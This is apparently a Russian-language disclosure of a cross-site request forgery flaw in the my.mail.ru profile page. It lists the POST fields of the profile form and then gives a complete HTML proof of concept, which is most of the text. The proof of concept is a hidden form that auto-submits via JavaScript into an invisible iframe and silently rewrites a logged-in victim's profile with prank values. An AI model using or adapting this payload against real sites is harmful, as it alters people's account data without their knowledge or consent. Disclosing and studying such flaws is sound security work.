XSRF уязвимость позволяет атакующему изменить личные данные пользователя.
Создаётся специальный HTML файл с формой и с использованием JavaScript.
Образец запроса:
URL: | http://my.mail.ru/my/userinfo |
Метод: | POST |
Кодировка: | Windows-1251 |
Поля формы: |
domain | <пустое> |
mra | 1 |
back | http://my.mail.ru/my/userinfo |
ID | UprPnBej |
Count | 1 |
NickName | Никнейм |
FirstName | Имя |
LastName | Фамилия |
MaidenName | Девичья фамилия |
BirthDay | День рождения |
BirthMonth | Месяц рождения |
BirthYear | Год рождения |
ShowAge | Показывать возраст (0 или 1) |
Sex | Пол (0 = нет, 1 = м, 2 = ж) |
Mrim.Country | Страна (24 = Россия) |
Mrim.Region | Город (25 = Москва) |
geo_countryId | Страна (24 = Россия) |
geo_regionId | 999999 |
geo_cityId | Город (25 = Москва) |
your_town | Город, страна и т.п. в текстовом виде |
geo_country | undefined |
MaritalStatus | Семейное положение (0..14) |
PartnerEmail | Мейл партнёра |
PartnerNick | Ник партнёра |
ShowStat | Показывать при поиске (on или off) |
SaveUInfo | 1 |
Образец HTML кода, использующего эту уязвимость:
Code
<form id="userinfo" method="POST" action="http://my.mail.ru/my/userinfo" target="userinfo_to">
<input type="hidden" name="domain" value="">
<input type="hidden" name="mra" value="1">
<input type="hidden" name="back" value="http://my.mail.ru/my/userinfo">
<input type="hidden" name="ID" value="UprPnBej">
<input type="hidden" name="Count" value="1">
<input type="hidden" name="NickName" value="Barak Оbama">
<input type="hidden" name="FirstName" value="Барак">
<input type="hidden" name="LastName" value="Обама">
<input type="hidden" name="MaidenName" value="">
<input type="hidden" name="BirthDay" value="4">
<input type="hidden" name="BirthMonth" value="8">
<input type="hidden" name="BirthYear" value="1961">
<input type="hidden" name="ShowAge" value="1">
<input type="hidden" name="Sex" value="1">
<input type="hidden" name="Mrim.Country" value="24">
<input type="hidden" name="Mrim.Region" value="25">
<input type="hidden" name="geo_countryId" value="24">
<input type="hidden" name="geo_regionId" value="999999">
<input type="hidden" name="geo_cityId" value="25">
<input type="hidden" name="your_town" value="г. Мунтаун, Луна, Солнечная система">
<input type="hidden" name="geo_country" value="undefined">
<input type="hidden" name="MaritalStatus" value="13">
<input type="hidden" name="PartnerEmail" value="support@corp.mail.ru">
<input type="hidden" name="PartnerNick" value="Служба поддержки">
<input type="hidden" name="ShowStat" value="on">
<input type="hidden" name="SaveUInfo" value="1">
<input type="submit" value="Submit">
</form>
<iframe name="userinfo_to" width="0" height="0" scrolling="no" frameborder="0"></iframe>
<script type="text/javascript">
document.getElementById('userinfo').submit();
</script>